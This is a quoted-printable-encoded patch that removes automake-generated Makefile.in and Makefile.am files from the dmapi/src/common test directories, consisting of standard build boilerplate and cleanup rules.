=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/common/Makefile.in +++ /dev/null @@ -1,453 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -subdir =3D src/common -DIST_COMMON =3D $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -SOURCES =3D -DIST_SOURCES =3D -RECURSIVE_TARGETS =3D all-recursive check-recursive dvi-recursive \ -=09html-recursive info-recursive install-data-recursive \ -=09install-exec-recursive install-info-recursive \ -=09install-recursive installcheck-recursive installdirs-recursive \ -=09pdf-recursive ps-recursive uninstall-info-recursive \ -=09uninstall-recursive -ETAGS =3D etags -CTAGS =3D ctags -DIST_SUBDIRS =3D $(SUBDIRS) -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -SUBDIRS =3D lib cmd -all: all-recursive - -.SUFFIXES: -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/common/Makefile';= \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/common/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -# This directory's subdirectories are mostly independent; you can cd -# into them and run `make' without going through this Makefile. -# To change the values of `make' variables: instead of editing Makefil= es, -# (1) if the variable is set in `config.status', edit `config.status' -# (which will cause the Makefiles to be regenerated when you run `= make'); -# (2) otherwise, pass the desired values on the `make' command line. -$(RECURSIVE_TARGETS): -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 dot_seen=3Dyes; \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done; \ -=09if test "$$dot_seen" =3D "no"; then \ -=09 $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ -=09fi; test -z "$$fail" - -mostlyclean-recursive clean-recursive distclean-recursive \ -maintainer-clean-recursive: -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09case "$@" in \ -=09 distclean-* | maintainer-clean-*) list=3D'$(DIST_SUBDIRS)' ;; \ -=09 *) list=3D'$(SUBDIRS)' ;; \ -=09esac; \ -=09rev=3D''; for subdir in $$list; do \ -=09 if test "$$subdir" =3D "."; then :; else \ -=09 rev=3D"$$subdir $$rev"; \ -=09 fi; \ -=09done; \ -=09rev=3D"$$rev ."; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09for subdir in $$rev; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done && test -z "$$fail" -tags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = tags); \ -=09done -ctags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = ctags); \ -=09done - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ -=09 include_option=3D--etags-include; \ -=09 empty_fix=3D.; \ -=09else \ -=09 include_option=3D--include; \ -=09 empty_fix=3D; \ -=09fi; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test ! -f $$subdir/TAGS || \ -=09 tags=3D"$$tags $$include_option=3D$$here/$$subdir/TAGS"; \ -=09 fi; \ -=09done; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -=09list=3D'$(DIST_SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test -d "$(distdir)/$$subdir" \ -=09 || $(mkdir_p) "$(distdir)/$$subdir" \ -=09 || exit 1; \ -=09 distdir=3D`$(am__cd) $(distdir) && pwd`; \ -=09 top_distdir=3D`$(am__cd) $(top_distdir) && pwd`; \ -=09 (cd $$subdir && \ -=09 $(MAKE) $(AM_MAKEFLAGS) \ -=09 top_distdir=3D"$$top_distdir" \ -=09 distdir=3D"$$distdir/$$subdir" \ -=09 distdir) \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-recursive -all-am: Makefile -installdirs: installdirs-recursive -installdirs-am: -install: install-recursive -install-exec: install-exec-recursive -install-data: install-data-recursive -uninstall: uninstall-recursive - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-recursive -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-recursive - -clean-am: clean-generic clean-libtool mostlyclean-am - -distclean: distclean-recursive -=09-rm -f Makefile -distclean-am: clean-am distclean-generic distclean-libtool \ -=09distclean-tags - -dvi: dvi-recursive - -dvi-am: - -html: html-recursive - -info: info-recursive - -info-am: - -install-data-am: - -install-exec-am: - -install-info: install-info-recursive - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-recursive -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-recursive - -mostlyclean-am: mostlyclean-generic mostlyclean-libtool - -pdf: pdf-recursive - -pdf-am: - -ps: ps-recursive - -ps-am: - -uninstall-am: uninstall-info-am - -uninstall-info: uninstall-info-recursive - -.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am check check-am \ -=09clean clean-generic clean-libtool clean-recursive ctags \ -=09ctags-recursive distclean distclean-generic distclean-libtool \ -=09distclean-recursive distclean-tags distdir dvi dvi-am html \ -=09html-am info info-am install install-am install-data \ -=09install-data-am install-exec install-exec-am install-info \ -=09install-info-am install-man install-strip installcheck \ -=09installcheck-am installdirs installdirs-am maintainer-clean \ -=09maintainer-clean-generic maintainer-clean-recursive \ -=09mostlyclean mostlyclean-generic mostlyclean-libtool \ -=09mostlyclean-recursive pdf pdf-am ps ps-am tags tags-recursive \ -=09uninstall uninstall-am uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/common/cmd/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/common/cmd/Makefile.am +++ /dev/null @@ -1,9 +0,0 @@ -## Process this file with automake to produce Makefile.in - -## -## Copyright (c) 2000-2001 Silicon Graphics, Inc. All Rights Reserved= . -## - -bin_PROGRAMS =3D read_invis set_region set_return_on_destroy write_inv= is - -LDADD =3D $(top_builddir)/src/common/lib/libdmtest.la Index: b/dmapi/src/common/cmd/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/common/cmd/Makefile.in +++ /dev/null @@ -1,473 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ - -SOURCES =3D read_invis.c set_region.c set_return_on_destroy.c write_in= vis.c - -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -bin_PROGRAMS =3D read_invis$(EXEEXT) set_region$(EXEEXT) \ -=09set_return_on_destroy$(EXEEXT) write_invis$(EXEEXT) -subdir =3D src/common/cmd -DIST_COMMON =3D $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -am__installdirs =3D "$(DESTDIR)$(bindir)" -binPROGRAMS_INSTALL =3D $(INSTALL_PROGRAM) -PROGRAMS =3D $(bin_PROGRAMS) -read_invis_SOURCES =3D read_invis.c -read_invis_OBJECTS =3D read_invis.$(OBJEXT) -read_invis_LDADD =3D $(LDADD) -read_invis_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -set_region_SOURCES =3D set_region.c -set_region_OBJECTS =3D set_region.$(OBJEXT) -set_region_LDADD =3D $(LDADD) -set_region_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -set_return_on_destroy_SOURCES =3D set_return_on_destroy.c -set_return_on_destroy_OBJECTS =3D set_return_on_destroy.$(OBJEXT) -set_return_on_destroy_LDADD =3D $(LDADD) -set_return_on_destroy_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -write_invis_SOURCES =3D write_invis.c -write_invis_OBJECTS =3D write_invis.$(OBJEXT) -write_invis_LDADD =3D $(LDADD) -write_invis_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -DEFAULT_INCLUDES =3D -I. -I$(srcdir) -depcomp =3D $(SHELL) $(top_srcdir)/depcomp -am__depfiles_maybe =3D depfiles -COMPILE =3D $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAG= S) \ -=09$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -LTCOMPILE =3D $(LIBTOOL) --mode=3Dcompile --tag=3DCC $(CC) $(DEFS) \ -=09$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ -=09$(AM_CFLAGS) $(CFLAGS) -CCLD =3D $(CC) -LINK =3D $(LIBTOOL) --mode=3Dlink --tag=3DCC $(CCLD) $(AM_CFLAGS) $(CF= LAGS) \ -=09$(AM_LDFLAGS) $(LDFLAGS) -o $@ -SOURCES =3D read_invis.c set_region.c set_return_on_destroy.c \ -=09write_invis.c -DIST_SOURCES =3D read_invis.c set_region.c set_return_on_destroy.c \ -=09write_invis.c -ETAGS =3D etags -CTAGS =3D ctags -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -LDADD =3D $(top_builddir)/src/common/lib/libdmtest.la -all: all-am - -.SUFFIXES: -.SUFFIXES: .c .lo .o .obj -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/common/cmd/Makefi= le'; \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/common/cmd/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -install-binPROGRAMS: $(bin_PROGRAMS) -=09@$(NORMAL_INSTALL) -=09test -z "$(bindir)" || $(mkdir_p) "$(DESTDIR)$(bindir)" -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 p1=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 if test -f $$p \ -=09 || test -f $$p1 \ -=09 ; then \ -=09 f=3D`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`= ; \ -=09 echo " $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binP= ROGRAMS_INSTALL) '$$p' 